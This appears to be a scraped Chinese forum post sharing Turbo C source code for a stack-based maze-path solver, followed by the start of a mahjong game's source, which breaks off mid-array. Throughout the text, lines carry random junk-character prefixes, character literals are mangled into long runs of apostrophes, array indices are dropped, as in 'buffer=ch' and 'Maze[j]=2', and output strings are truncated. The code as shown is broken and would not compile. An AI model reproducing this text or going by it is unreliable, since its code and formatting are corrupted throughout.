C语言技术文章

韩冰

<DIV  align=left>
< align=left>程序目的：
4 K0 A/ p' D" H: W6 u) ]. O6 {1 x输入一个任意大小的迷宫，用栈求出一条走出迷宫的路径，并
显示在屏幕上。
程序实现：
可以实现载入迷宫和保存迷宫，附带文件中有4个测试迷宫路径的
文件test1~4.dd。请将这些文件拷贝到TC当前目录下，或者在载
5 b0 i6 c) K+ _5 s" ^( X& G, p入时写明完全路径。由于屏幕大小的限制，当用户自己输入迷宫
时一定要注意：迷宫大小是有限制的，不小于4*3,不大于30*20。
: r9 h  v' ^9 h' D5 S5 h/ ^否则会出现错误信息。输入开始时全是墙，用上下左右键移动，
7 C4 m7 v/ n; T& l; r  ~0 Z# f用Del键删除墙，形成通路，用Enter键添加墙。输入结束时可以
5 f3 b9 f( W  k  w将迷宫保存下来，以dd为扩展名。输入完毕时用F9键来得到结果，
5 Q- ^4 f1 _$ Z9 Y: m% D找到路径时，屏幕下方会出现Path found，否则出现Path not found。
( B& B$ ?. T7 K# [程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
不可以在VC上编译。
下载DOS版和windows版的迷宫游戏全部代码
0 Y8 p; H3 q/ T, z用户名：migong
5 [7 _/ D' @4 U& j----------------------------------------------------------------------------------
* h! G. ^( M; b; _5 W+ w6 s/*
  m- `7 j( ^6 g2 S2 JMazePath Demo BY Turbo C 2.0
; c6 q! k  ~, f) @: S" o1 F, z+ h0 A7 eCopyright(c) RoverUnion. All right reserved.
Filename: Maze.c
: \5 n; q1 A3 X- V, t. l: V+ HAuthor Dongchengyu.
Ver 1.10
*/
& x# }! Q& n1 @) B0 j* f8 R# _  ^#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
: n" q$ {$ @& H8 P4 U. h3 R: o#include &lt;malloc.h&gt;
* P6 }4 T" u- ?. x! l#include &lt;conio.h&gt;
& e1 T- a9 E( e2 b) y5 B#include &lt;dos.h&gt;
#define OK 1
7 Q3 L2 {7 N! K#define ERROR 0
#define TRUE 1
# }4 g  F; I3 f, i+ K0 Z#define FALSE 0
2 e+ y3 e( _7 j# v5 x#define F9 0x43
#define Esc 0x1b
#define Del 0x53
#define Home 0x47
#define End 0x4f
#define Space 0x20
/ m- [' F( ?, n' W2 L; Z#define Up 0x48
#define Down 0x50
#define Left 0x4b
#define Right 0x4d
#define Enter 0x0d
#define F2 0x3c
#define F3 0x3d
#define STACK_INIT_SIZE 200
#define STACKINCREMENT 10
typedef int Boolean;
typedef int Status;
4 B) d$ v! [$ E: i. r3 @/ Rtypedef struct {
: L9 ~8 H- N; H* [% ]- Pint x;
int y;
} PosType;
typedef struct {
7 J( [2 Y$ D7 u. s* jint ord;
+ u$ D& p  ?9 LPosType seat;
% B/ R3 f5 @7 T" c. t; k" p: kint di;
7 u% x( X: Q  n* E# d% T/ v} SElemType;
typedef struct {
int td;
int foot;
int mark;
} MazeType;
typedef struct {
SElemType *base;
  [5 {1 L, n) Z7 `SElemType *top;
int stacksize;
. m  m! c! z( x) m' [} Stack;
1 i! t) r2 P4 S9 p) ~, i; F" _int Maze[20][30];
' o8 x/ m) e- `; }, ]- h; N7 QMazeType maze[20][30];
! W$ U: i7 o* IPosType StartPlace;
0 ~4 d" {9 h5 K# @3 v# ~PosType EndPlace;
6 l' i) g" V3 X3 x' |9 p0 yint count;
int m,n;
3 ]+ w6 T  N6 _Boolean b_start=FALSE,b_end=FALSE;
void CreatMaze(void);
4 E5 m. x2 s; e: @4 YStatus SaveMaze(char *filename);
Status LoadMaze(char *filename);
. l4 s8 H' o& ?/ Gvoid Error(char *message);
/ N  j2 f. F/ h; yStatus InitStack(Stack *s);
Status DestroyStack(Stack *s);
. c& t: U* v  M9 LStatus ClearStack(Stack *s);
Boolean StackEmpty(Stack *s);
) f: y) D9 S0 [  o/ M9 q0 Kint StackLength(Stack *s);
Status Push(Stack *s,SElemType e);
SElemType Pop(Stack *s,SElemType e);
Status GetTop(Stack *s,SElemType *e);
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
Boolean Pass(PosType curpos);
void MarkPrint(PosType seat);
void FootPrint(PosType curpos);
/ r  C; k2 V- X4 ~4 x0 ZPosType NextPos(PosType seat,int di);
Status MazePath(PosType start,PosType end);
# g4 s1 U$ O- E- F; ]8 Svoid CreatMaze(void)
. x7 \5 C1 p! u) W3 u/* Form the maze. */
( X6 \/ u/ M) Q$ S{
void Error(char *message);
Status SaveMaze(char *filename);
Status LoadMaze(char *filename);
int i,j;
int x,y;
7 _& k0 n; @5 Q* N0 m* L4 xchar c;
char savename[12],loadname[12];
* d8 F: t0 \2 z2 G2 ABoolean flag=FALSE,load=FALSE;
/ a) I! K6 I+ |) @! i4 v9 M9 lclrscr();
printf("Menu:\n\n");
0 T7 _8 C, R7 Q# G7 k( T' ~printf("1.Load Mazefile*.dd)\n\n");
1 F9 C8 Z! U( p9 j( l4 W6 d! cprintf("2.Input Maze:\n\n");
' O2 a/ B% T7 ^$ @/ zprintf("Input your choice: ");
do
" j  t7 l7 h  K8 L1 ]; w{
% k& ^" l5 V$ Q2 n/ Kc=getch();
/ v$ \* ]/ c8 C7 {5 i- _switch(c)
{
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
case Esc: sleep(1); exit(1);
. a" w' s( X( G' Cdefault: break;
}
}
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
  |. e" l9 {$ H5 N3 t{
printf("\n\nLoadName: ");
1 Y' p" u7 o2 I  r; W6 q3 A. [scanf("%s",loadname);
if(LoadMaze(loadname))
7 W0 R4 X: b) H( E1 e9 z7 w{
# z7 Z4 \3 h2 I7 M( V* V0 wsleep(1); load=TRUE;
7 M2 q* `: G! r6 d}
8 c, F: D5 |+ Y" Nelse { gotoxy(1,9); printf("Load fail! "); }
8 s# n, W0 I3 P  J/ J+ y- L/ m}
# N9 Y: \  T! i! o, h' r, T3 }+ Nif(!load)
{
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
printf("\nInput Length :\n");
' w6 j# H, r: b2 d* p# L- cscanf("%d",&amp;m);
2 m, v) e4 C9 [- I  i4 M7 z$ Hprintf("\nInput Width :\n");
9 N' H: l$ p+ t& J/ M# q( yscanf("%d",&amp;n);
; \) p, V) x0 A: G+ Rif(m&lt;4||n&lt;4) Error("Input");
if(m&gt;30||n&gt;20) Error("Maze too large");
for(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
Maze[j]=2;
- o/ ^" O( M( s2 V  l+ d( gStartPlace.x=0;
; b4 @2 k6 F% d* HStartPlace.y=0;
+ E/ t2 f& m) L* R3 eEndPlace.x=0;
- a( m' J, r7 h0 i* K# I" iEndPlace.y=0;
clrscr();
) D* J' R# T3 K3 wprintf("\n");
for(i=1;i&lt;=n;i++)
$ v5 b: X5 |# q{
2 [" U' Q, @7 Y0 X% Ofor(j=1;j&lt;=m;j++)
{
3 l: R- a8 e+ h2 gprintf(" #");
Maze[i-1][j-1]=0;
* p; z1 o$ ?8 `' v7 W- L}
printf("\n");
}
}
, Q1 ^0 [" J$ i9 O( tgotoxy(65,5);
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
, Q/ ]. v& c% G0 t; ]gotoxy(65,7);
: y" u) b  v9 k) C& e, c! r  V. t' Iprintf("Start:Home");
gotoxy(65,9);
printf("End:End");
gotoxy(65,11);
printf("Delete Wallel");
, J& y, \- k4 O% zgotoxy(65,13);
1 S9 O" e: q3 e. `printf("Enter Wall:Enter");
gotoxy(65,15);
printf("Save Maze:F2");
gotoxy(65,17);
  d' W3 V8 z$ K7 q+ Vprintf("Complete:F9");
# r8 g  L* P1 w9 L3 Y' N, L% S( jgotoxy(65,19);
' M2 _1 ?, |% c0 p) E" @. Q  x9 Rprintf("Exit:Esc");
- g. v4 ^8 D3 C4 g& b% @, D% Bgotoxy(4,3);
& @- p5 O1 m  F8 k1 n0 A* Nx=4;y=3;
do
' V& h( B( Q- j" m  K0 K6 L. b{
c=getch();
# a7 B) y9 u5 u6 G4 p4 bswitch(c)
/ R4 s' m0 j; z1 f1 f* [{
3 Q! d0 k: ~8 o3 x! b5 A, rcase Up: if(y&gt;3) { y--; gotoxy(x,y); }
break;
$ Q1 B, p( n9 p! [2 t9 Icase Down: if(y&lt;n) { y++; gotoxy(x,y); }
break;
9 r5 U& M: |. x  w$ w4 Tcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
break;
! n9 k9 P" d- k5 C! `; ]case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
5 O* I7 }- [, }4 t! q' ybreak;
( o4 J) H, W" Kcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
0 }* h5 c1 o# L) H3 U# @. J6 }if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
. a$ O7 |0 E  W" sputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
break;
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
7 O  ~: m5 u4 `4 Oif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
5 ?- G  k) D; N. L0 o) Xputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
3 N! o) x* }' V8 T; x2 Tbreak;
* ]$ A: ~. M% m% F2 scase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
{
StartPlace.x=x/2-1;
& w* f; @( j3 F' z& b0 pStartPlace.y=y-2;
3 ~$ k! C2 p% |5 W4 _putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
5 j# J3 F& D9 H- xgotoxy(x,y);
b_start=TRUE;
}
break;
! U1 y$ F2 U; `  u8 K* R% O; Rcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
{
EndPlace.x=x/2-1;
EndPlace.y=y-2;
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
# h0 l+ ^8 Y8 Wgotoxy(x,y);
6 H' n( a  o: u4 \, l0 Zb_end=TRUE;
}
0 [5 s! M* [* n$ G# Dbreak;
5 C1 v% r$ T2 U: Z! {" Ecase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
2 g! v) L: V  A+ h) h: qcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
3 q4 V( m; w. P( _2 O! ~case F2: gotoxy(2,22);
printf("Savename:");
) }( R8 b/ l# x6 F3 Vscanf("%s",savename);
8 g* l4 v+ m1 l: V, d2 }6 _$ Ygotoxy(2,22);
if(SaveMaze(savename)) printf("Save OK! ");
else printf("Save fail! ");
* T7 r0 J# Z4 A0 Z& A0 L# x9 Csleep(1);
  L; x# C+ M, Wgotoxy(2,22);
3 {' C/ t8 i' R; \+ O* `1 q4 |printf(" ");
gotoxy(x,y);
break;
; B6 L3 I5 e' g% j! |( S' Bdefault: break;
}
}
while(!flag);
for(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
1 A6 D3 }5 W5 }{
; Y5 Z0 a3 [6 `' M' [5 ^% ~% |maze[j].td=Maze[j];
7 e) W1 }' c% g: l- M, \: {1 smaze[j].mark=0;
maze[j].foot=0;
}
}
. `  j) p, y9 T4 k- h* Z, rStatus LoadMaze(char *file)
9 B- R- m. T  H& ^! N: h/* The maze has been loaded. */
# J9 {- I" w$ E. U# t( `  O{
FILE *fp;
% O. B! O: ?- z2 rchar *buffer;
. J- t) I! Q8 q! I6 Pchar ch;
int i=0,j,k;
Boolean len=FALSE,wid=FALSE;
) ~4 C$ ]3 u5 x1 N) Lif((fp=fopen(file,"r"))==NULL)
return ERROR;
) A) ?/ X' V6 c) ]" Qbuffer=(char *)malloc(600*sizeof(char));
7 J; S9 z9 G% ]3 H2 |; v3 J5 I* |: S3 Sch=fgetc(fp);
while(ch!=EOF)
) A, F" _) v, m{
+ t, {( ^- x! }5 `/ l6 n  jbuffer=ch;
* m" n! |5 P. }, j8 xi++;
ch=fgetc(fp);
}
m=30;n=20;
for(i=0;i&lt;600;i++)
% b9 A$ U* @' g. d; W, x{
j=i/30; k=i%30;
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
switch(buffer)
) A9 Y* w3 K, J9 e. m* ?{
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
0 n" y  w2 y4 w4 qStartPlace.x=k;
StartPlace.y=j;
b_start=TRUE;
4 H8 a& U. ]: m! p/ q# l1 L% _, t2 {break;
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
EndPlace.x=k;
! m9 v( }* A% J' t. x+ x/ bEndPlace.y=j;
1 }; d: {  w- n! x' P. mb_end=TRUE;
" d( p" d. T& n. ~% C( Obreak;
default : break;
" [3 S. Y1 N* o}
; ?3 @& b7 p! B5 I4 g}
* n9 r) z; t& pfclose(fp);
  g. N3 W6 ^* n% P; W# A' X/ ~clrscr();
8 L4 k  F+ h# }" f  |for(i=0;i&lt;30;i++)
6 @; [% K, p  q* \- s1 {7 o9 j3 ]for(j=0;j&lt;20;j++)
{
maze[j].td=Maze[j];
0 r' s* J& J7 \' P  U( ?maze[j].foot=0;
maze[j].mark=0;
if(Maze[j]==0)
{
gotoxy(2*i+2,j+2);
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
+ O& t% R7 v; L$ u# T9 w* e- s}
}
0 Q8 ]5 m5 b+ j2 s! n5 B' ngotoxy(2*StartPlace.x+2,StartPlace.y+2);
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
, E( U2 p1 X& Y3 [  l4 _- {gotoxy(2*EndPlace.x+2,EndPlace.y+2);
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
return OK;
}
Status SaveMaze(char *filename)
6 @) U1 G2 L6 c) z8 i* H, G/* The maze has been saved. */
{
FILE *fp;
char *buffer;
  e2 G6 L4 t; ]6 r: Yint i,j,k;
fp=fopen(filename,"wb");
# s) E: x# V+ b' j2 r* t( p  obuffer=(char *)malloc(600*sizeof(char));
for(i=0;i&lt;600;i++)
% g" i+ I5 u( H9 Q3 E7 \9 S2 a{
j=i/30; k=i%30;
& V3 w: T& y/ o6 E& r2 r) }switch(Maze[j][k])
{
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
- u$ i( Q' y( k' tdefault : Error("Write"); break;
9 |" O7 s8 k: i! q}
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
7 c$ X% g: C* k+ f  j" u6 bif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
' N- i1 p9 X7 v" J# j}
fwrite(buffer,600,1,fp);
free(buffer);
fclose(fp);
' z" b) Q& ]# E+ V& f3 Q; Sreturn OK;
}
void Error(char *message)
6 l) N$ `8 _, m* G# |{
clrscr();
fprintf(stderr,"Error:%s\n",message);
exit(1);
} /* Error */

Status InitStack(Stack *s)
0 v' i( M+ n" d3 Y# H/ ^/* The stack s has been created and is initialized to be empty. */
! a9 R; Z  @! W9 {& N{
" S+ ]; U. l4 S7 u% [9 ms-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
( A2 U) t* I! J! o3 Gif(!s-&gt;base) Error("Overflow");
* _) G* F+ h/ _; i+ Rs-&gt;top=s-&gt;base;
s-&gt;stacksize=STACK_INIT_SIZE;
$ I9 z1 j" Y/ ]return OK;
- |' Z/ v, y8 S. ^% h- _2 j} /* InitStack */
Status DestroyStack(Stack *s)
" C6 v1 d( u; h! t+ x" Q/* The stack s has been destroyed. */
{
s-&gt;top=NULL;
* C* G% D7 |- u: Ts-&gt;stacksize=0;
1 c/ j( E9 |9 E% _* F# ^2 Ifree(s-&gt;base);
s-&gt;base=NULL;
return OK;
( Z6 M- ]9 s2 r! L" G} /* DestroyStack */
! n1 o9 r% R) H) FStatus ClearStack(Stack *s)
/* The stack has been clear to be maximum. */
{
. N  Q. s& |/ bs-&gt;top=s-&gt;base;
s-&gt;stacksize=STACK_INIT_SIZE;
return OK;
} /* ClearStack */
Boolean StackEmpty(Stack *s)
( g; h# Z0 d8 E' `) a* K+ [/* Check if the stack s is empty. */
: _1 g+ R2 q) y2 Y& t0 ?! i+ m6 `2 }{
if(s-&gt;top==s-&gt;base) return TRUE;
else return FALSE;
6 L1 d) o7 |' v7 F! N7 \# S} /* StackEmpty */
int StackLength(Stack *s)
8 X; S# [; E6 l, |/* Gain the length of the stack s. */
# N1 z  t, `$ P; Q, x7 g$ D{
: I. f& {3 y9 D! k/ W$ M: Jif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
0 Z' P( V0 T8 q3 q- Oelse return 0;
} /* StackLength */
- p) X2 \# ]2 K* ]$ P9 |Status Push(Stack *s,SElemType e)
" g# C4 r2 _- G  O& d/* The element e has been pushed into the stack s. */
{
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
; W" F' w. _! q! B" Q0 Y" ^{
" _+ @( E# Z- W+ J* }s-&gt;base=(SElemType *)realloc(s-&gt;base,
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
if(!s-&gt;base) Error("Overflow");
s-&gt;top=s-&gt;base+s-&gt;stacksize;
s-&gt;stacksize+=STACKINCREMENT;
$ p* T+ z) _& v# j}
*s-&gt;top++=e;
" B! w5 V4 S* C0 kreturn OK;
} /* Push */
SElemType Pop(Stack *s,SElemType e)
/* The element e has been removed from the stack s. */
{
1 t) C- c7 e7 m& @if(s-&gt;top==s-&gt;base) Error("op");
7 h9 }; o0 J. G. J9 b5 e) Ye=*--s-&gt;top;
1 S: |5 _/ N2 z- }! Areturn e;
, n* ]# D5 e5 }7 G7 @} /* Pop */
Status GetTop(Stack *s,SElemType *e)
0 S9 ?6 ?6 I8 {/ e/* The element e has got to the top of the stack s.*/
* N6 }2 Z* {7 I) C; U5 `{
if(s-&gt;top==s-&gt;base) Error("GetTop");
# @0 a  q, d2 j9 t6 f& c" X+ A' j  F) ?*e=*(s-&gt;top-1);
. d- U3 w: a+ ~return OK;
} /* GetTop */
/ B" e* x8 @6 L9 l8 u/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
9 W) b: L$ g3 Y. J; i; |- h/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
, u1 I& W5 }7 ^* p3 U9 V{
SElemType p;
  I  [  \% l0 ?( j! k& M4 w# Iint result;
6 o- ~( R: f* A% F8 w. B( Pif(s-&gt;top==s-&gt;base) return ERROR;
p=s-&gt;base;
while(!(p==s-&gt;top))
{
) y. R$ z7 r' Z( e) \0 Wresult=(*visit)(p);
p++;
}
return OK;
} */
3 Z1 T, V1 g6 }. u9 R4 {Boolean Pass(PosType curpos)
/* Check if the current position can be passed. */
$ _" G, @9 E" ~{
" {! g8 n4 T% R7 T9 a- F/ C1 i: Z+ Tif(maze[curpos.x][curpos.y].td==1&amp;&amp;
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
  E% |: e" ?- M; P. G+ c) X$ Mreturn TRUE;
else return FALSE;
} /* Pass */
void MarkPrint(PosType seat)
6 V" N6 u- Y' h1 G% ^/* Mark the position seat. */
* J! V2 R* s+ u1 j6 F4 v{
maze[seat.x][seat.y].mark=-1;
8 U+ S( a/ a% |% f0 y/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
} /* MarkPrint */
void FootPrint(PosType curpos)
% D# u, X# p; }1 w/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
7 M2 Q2 d5 V- t& e9 _" L0 s& |2 R{
maze[curpos.x][curpos.y].foot=1;
/ t* `% |, R: d/ A: K} /* FootPrint */
& Y5 [3 ]/ d$ v, [PosType NextPos(PosType seat,int di)
+ [$ A4 Q, ^' f{
& b2 p9 a: O& nswitch(di)
{
case 1: seat.y++; return seat; /* Eastward */
case 2: seat.x++; return seat; /* Southward */
case 3: seat.y--; return seat; /* Westward */
case 4: seat.x--; return seat; /* Northward */
default: seat.x=0; seat.y=0; return seat;
}
} /* NextPos */
4 `: Z: a  I6 q
/* The key to the program. */
2 R4 U5 E- Q, h9 i% S, F; u/* Pre: The maze array &amp; the startplace &amp; the endplace.
, K+ V4 ~; w2 Q7 ePost: Find the one traverse of the maze and perform the mazepath.
. B7 d  B4 g2 A+ ~# M! s2 IUses: The ADT stack class.
*/
/ D$ v; m' A' D% _9 q( _$ DStatus MazePath(PosType start,PosType end)
! d. h5 I1 G. ?: I{
# y  W! ^* I  @6 f$ SPosType curpos;
int curstep;
SElemType e;
Stack *s,stack;
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
if(!stack.base) Error("Overflow");
stack.top=stack.base;
+ z2 V- O5 G. bstack.stacksize=STACK_INIT_SIZE;
s=&amp;stack;
curpos=start;
curstep=1;
; ?, x8 U+ G9 V, _* Ydo
% `; H% N) E- q* F4 t{
" h# Q" t5 H* ]$ uif(Pass(curpos))
{
8 K3 C# u, k; a4 g* wFootPrint(curpos);
e.ord=curstep; e.seat=curpos; e.di=1;
/ `) J2 y" X( S% @7 ggotoxy((curpos.y+1)*2,curpos.x+2);
* f0 k2 X# S- s% Aputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
delay(8000); /* pospone time. */
" D0 V1 j& x' z5 g4 j4 I/ ]2 iPush(s,e);
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
+ U4 ~, v3 K' o$ P: g/ D! v{
DestroyStack(s);
. h! A- w" l: [  Xreturn TRUE;
}
  Z7 [) M0 w7 I( W- W& f* Ucurpos=NextPos(curpos,1); /* Try next position. */
curstep++;
4 ]% I' H; w2 ^/ l}
else
4 \+ ^- x5 t1 G& e6 g{
if(!StackEmpty(s))
{
e=Pop(s,e); /* Removed e from s. */
/ I  E0 ^: F+ H, [9 M( Dwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
1 f0 ~0 q# Q* b+ O- h/ q6 Eand s is not empty. */
{
MarkPrint(e.seat);
# C- I  M6 t- b7 n8 j8 d4 @0 q% sgotoxy((e.seat.y+1)*2,e.seat.x+2);
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
delay(8000); /* Pospone time. */
3 _$ m6 X  W/ O; a# U6 Ygotoxy((e.seat.y+1)*2,e.seat.x+2);
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
3 O+ m( {* w! E/ Ue=Pop(s,e); /* Remove e from s. */
curstep--;
9 s+ G/ e, U, d}
  B& \. d/ c9 e1 tif(e.di&lt;4) /* The current position hasnot been checked. */
{
e.di++;
6 Q' ~$ N3 l% J- ~3 b* nPush(s,e); /* Insert e into s. */
curpos=NextPos(e.seat,e.di); /* Try next position. */
}
/ h. }5 l. g+ J2 {8 f. v; K}
' l/ D" n. D4 n. Z! p5 o: j}
}
' ?3 @7 G- A# _+ G+ i1 Z2 o2 Mwhile(!StackEmpty(s));
DestroyStack(s);
return FALSE;
} /* MazePath */
void main()
& x& k' ?1 u8 s% s5 J{
PosType start,end;
* E# }- v! m  p6 S3 {- D& S# LCreatMaze();
start.x=StartPlace.y;
start.y=StartPlace.x;
end.x=EndPlace.y;
" v- p. ]0 m6 ~2 i' bend.y=EndPlace.x;
if(MazePath(start,end))
{
gotoxy(2,22);
printf("ath found\n");
7 i- @; M# O3 P) X# m}
3 o3 D1 v0 O8 S/ w) G  Uelse
{
3 t' ?7 E, w& p6 u9 Ugotoxy(2,22);
printf("ath not found\n");
  c# b5 V4 v, h$ M4 s  B5 ~}
" l+ ~7 W; ]2 }# a( r* b. Mgetch();
' u( f5 N% ?+ E6 C. Z+ U/ _clrscr();
" K  i  E  Q" q- T; E; d} </P></DIV>

韩冰

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
% D0 i; i! G- I1 `/*天宇软件
作者：上海黑暗之龙
2002/10/30
! s1 @% Z8 A! b& v麻将原代码*/
#include "dos.h"
) F. d$ @# Z$ d" ]8 o! p9 ?5 w& m#include "stdio.h"
#include "graphics.h"
# e) ^" w" n0 b* F. @7 l' T#include "bios.h"
#include "conio.h"
#include "stdlib.h"
unsigned char far *video_buffer=(char far *)0xA0000000L;
1 p- |0 W3 k/ M+ {#define VGA256 0x13 /*图形模式13h*/
. x* j3 Y" c6 m/ C# G6 E" V. K! n6 x6 v7 {#define TEXT_MODE 0x03 /*普通文本模式*/
#define SETVGA Set_Video_Mode(VGA256)
, r. d0 ^9 Z2 Z, t#define OUTVGA Set_Video_Mode(TEXT_MODE)
#define BYTE unsigned char
#define WORD unsigned int
& m7 u) W) C% l2 x1 t" X2 z#define DWORD unsigned int
: w4 H! V  U. O5 M+ n  h#define ESC 283
% g/ z4 e8 _1 X' n% u( a+ n  h#define LEFT 19200
#define RIGHT 19712
#define H 9064
#define ENTER 7181
) h# n  R- e& b$ Nunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
2 v! u1 |9 i( W- ?3 vstruct chi
{
int lg;
int lgg;
}ch[13];
struct mj
2 a4 {! j6 L  P/ z6 u+ m+ I{ char *name; /*名字*/
  |' k- K9 r! C- wint data1; /*是否已出，无用了*/
int data2; /*是否在手中，1为自己，2为对方*/
int number; /*同一个花色的第几张，共4张*/
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
- V0 i  a$ p5 O1 M1 p"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
# \/ m* ]5 t5 r7 v2 L  u- R6 x( |"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
; R9 z' o9 i4 s' b9 S3 _3 v"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
  N9 U! Q1 E: a; ?. T"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
8 y6 G, P3 J$ P9 J6 f2 O! T"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
: T* e4 v  H9 e, Z"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
7 L$ h4 k4 m+ T; t"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
. r% G: _# J( ~" \3 B) x3 ]"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
, j/ B1 \8 {! l6 J8 A5 X. v"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
